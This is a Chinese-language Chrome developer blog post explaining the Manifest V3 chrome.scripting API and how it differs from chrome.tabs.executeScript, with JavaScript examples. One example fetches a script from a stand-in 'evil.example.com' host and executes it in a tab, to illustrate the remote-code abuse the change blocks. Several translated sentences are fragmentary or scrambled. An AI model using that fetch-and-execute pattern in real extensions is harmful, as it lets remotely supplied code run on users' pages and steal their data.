chrome.scripting 简介

Simeon Vincent
Simeon Vincent

Manifest V3 对 Chrome 的扩展程序平台进行了多项更改。在这篇博文中 我们将探讨一项比较显著的变化,并探索其带来的动机和变化: chrome.scripting API 的简介。

什么是 chrome.scripting?

顾名思义,chrome.scripting 是 Manifest V3 中引入的新命名空间 负责脚本和样式注入功能。

过去创建过 Chrome 扩展程序的开发者可能比较熟悉 Manifest V2 方法 (如 chrome.tabs.executeScript)和 Tabs API chrome.tabs.insertCSS。这些方法允许扩展程序注入脚本和 不同的样式表。在 Manifest V3 中,这些功能已移至 chrome.scripting,我们计划在将来扩展此 API 并提供一些新功能。

为什么要创建新的 API?

面对这样的变化,最先出现的一个问题往往就是“为什么?”

由于一些不同的因素,Chrome 团队决定引入新的脚本命名空间。 首先,Tabs API 在功能方面有点像垃圾抽屉。其次,我们需要 对现有 executeScript API 所做的更改。第三,我们想要扩展脚本编写功能 扩展功能这些问题共同明确地表明,有必要利用 自制脚本功能

垃圾抽屉

在过去几年里,扩展程序团队一直困扰的问题之一就是, chrome.tabs API 已过载。最初引入此 API 时,它的大部分功能 都与浏览器标签页这一宽泛概念相关。不过,即便那时 一大波新功能,这些年来,这个系列的规模越来越大。

到 Manifest V3 发布时,Tabs API 已逐渐成长为涵盖基本的标签页管理服务, 选择管理、窗口组织、消息、缩放控制、基本导航、脚本 一些其他较小的功能虽然这些都很重要, Chrome 团队和 Chrome 团队, 考虑来自开发者社区的请求

另一个复杂因素是 tabs 权限尚未得到充分理解。而许多其他 权限会限制对指定 API(如 storage)的访问, 不同之处在于,它仅向扩展程序授予对标签页实例上敏感属性的访问权限(以及 都会影响 Windows API)。许多扩展程序开发者误以为 他们需要此权限才能使用 Tabs API 上的方法,例如 chrome.tabs.createchrome.tabs.executeScript。将功能从 Tabs API 中移出有助于清理 一些混淆。

重大变更

在设计 Manifest V3 时,我们想要解决的主要问题之一是滥用和恶意软件 由“远程托管的代码”启用- 已执行但未包含在扩展程序中的代码 软件包。有滥用行为的扩展程序作者常常执行从远程服务器提取的脚本, 窃取用户数据、注入恶意软件并逃避检测。虽然善意者也会使用此功能,但我们 他们最终都觉得继续保持现状太危险了。

扩展程序可以通过几种不同的方式执行未捆绑代码,但 这是 Manifest V2 chrome.tabs.executeScript 方法。通过此方法,扩展程序可以 在目标标签页中执行任意代码字符串。这也意味着恶意开发者 可以从远程服务器提取任意脚本,并在扩展程序可以执行的任意网页中执行该脚本。 访问权限。我们知道,如果要解决远程代码问题 功能。

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

我们还想清理 Manifest V2 版本设计方面其他一些更细微的问题, 使 API 成为更加完善和可预测的工具。

尽管我们本可以在 Tabs API 中更改此方法的签名,但我们认为 这些破坏性更改和新功能的引入(将在下一节中介绍), 对每个人来说,整洁有序的休息时间都变得更轻松了。

扩展脚本编写功能

Manifest V3 设计流程的另一个考虑因素是希望引入 Chrome 扩展程序平台的其他脚本功能。具体来说,我们希望添加 对动态内容脚本的支持并扩展 executeScript 方法的功能。

动态内容脚本支持一直是 Chromium 的一项功能要求。今天, Manifest V2 和 V3 Chrome 扩展程序只能在其 manifest.json 文件;平台不提供用于注册新内容脚本的途径, 内容脚本注册,或在运行时取消注册内容脚本。

虽然我们知道我们希望在 Manifest V3 中处理此功能请求,但我们目前没有任何 API 就像是一个大本营。我们还考虑与 Firefox 的内容脚本保持协调一致 API,但很早就发现了此方法的几个主要缺点。 首先,我们知道可能会出现不兼容的签名(例如,不再支持 code) 属性)。其次,我们的 API 具有一组不同的设计限制(例如,需要注册才能 在 Service Worker 的生命周期之外存在)。最后,这个命名空间还会通过 内容脚本功能,我们正考虑在扩展程序中编写脚本。

executeScript 方面,我们还想扩展此 API 的功能,使其不仅局限于标签页 支持的 API 版本。更具体地说,我们希望更轻松地支持函数和实参, 定位到特定帧,以及定位到非“标签页”标签页上下文。

今后,我们也在考虑扩展程序如何与已安装的 PWA 和其他应用互动 在概念上未映射到“标签页”的上下文。

tab.executeScript 和 scripting.executeScript 之间的更改

在这篇博文的其余部分,我想详细了解一下二者的相似之处和不同之处 介于 chrome.tabs.executeScriptchrome.scripting.executeScript

注入带实参的函数

在考虑平台将因远程托管的代码而需要如何发展的同时 我们希望在执行任意代码的原始能力和 允许使用静态内容脚本我们联系过的解决方案就是允许扩展程序在 函数作为内容脚本,并将值数组作为参数传递。

我们快速看一个(过于简单)的示例。假设我们想注入一个 当用户点击扩展程序的操作按钮(工具栏中的图标)时问候用户。 在 Manifest V2 中,我们可以动态构建代码字符串,并在当前 页面。

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

虽然 Manifest V3 扩展程序无法使用未捆绑到该扩展程序的代码,但我们的目标是 保留为 Manifest V2 扩展程序启用的任意代码块的活力。通过 函数和参数方法使 Chrome 应用商店审核者、用户和 以便更准确地评估扩展程序带来的风险,同时允许 以便根据用户设置或应用状态来修改扩展程序的运行时行为。

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

定位框架

我们还希望改进开发者在修订后的 API 中与帧交互的方式。Manifest V2 的 executeScript 版本允许开发者定位某个标签页中的所有帧或 帧。您可以使用 chrome.webNavigation.getAllFrames 获取 一个标签页。

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

在 Manifest V3 中,我们将 options 对象中的可选 frameId 整数属性替换为 可选的 frameIds 整数数组;这样,开发者可以在单个 Pod 中定位多个帧 API 调用。

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

脚本注入结果

我们还改进了 Manifest V3 中返回脚本注入结果的方式。“结果”为 基本上就是脚本中评估的最终语句。您可以将它想象成 调用 eval() 或在 Chrome 开发者工具控制台中执行 代码块,但已经过序列化处理 并跨进程传递结果。

在 Manifest V2 中,executeScriptinsertCSS 会返回一个由普通执行结果组成的数组。 如果您只有一个注入点,这没什么问题,但当 注入到多个帧中,因此无法确定哪个结果 帧。

如需了解具体示例,我们来看看 Manifest V2 和results 同一扩展程序的 Manifest V3 版本。两个版本的扩展程序将注入相同的 内容脚本,我们将在同一演示页面上比较结果。

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

当我们运行 Manifest V2 版本时,会返回 [1, 0, 5] 数组。对应结果 哪个是针对 iframe 的?返回值并未告诉我们,所以我们不知道

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

在 Manifest V3 版本中,results 现在包含结果对象数组,而不是 结果对象明确标识出每个帧的帧 ID 结果。这样一来,开发者就可以更轻松地利用结果并针对 帧。

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

小结

清单版本递增为重新考虑扩展程序 API 并对其进行现代化改造提供了难得的机会。我们的目标 通过提高扩展程序的安全性来改善最终用户体验, 从而改善开发者体验通过在 Manifest V3 中引入 chrome.scripting,我们得以 帮助清理 Tabs API,以重新构想 executeScript 以实现更安全的扩展程序平台, 以及为将于今年晚些时候推出的全新脚本功能奠定基础。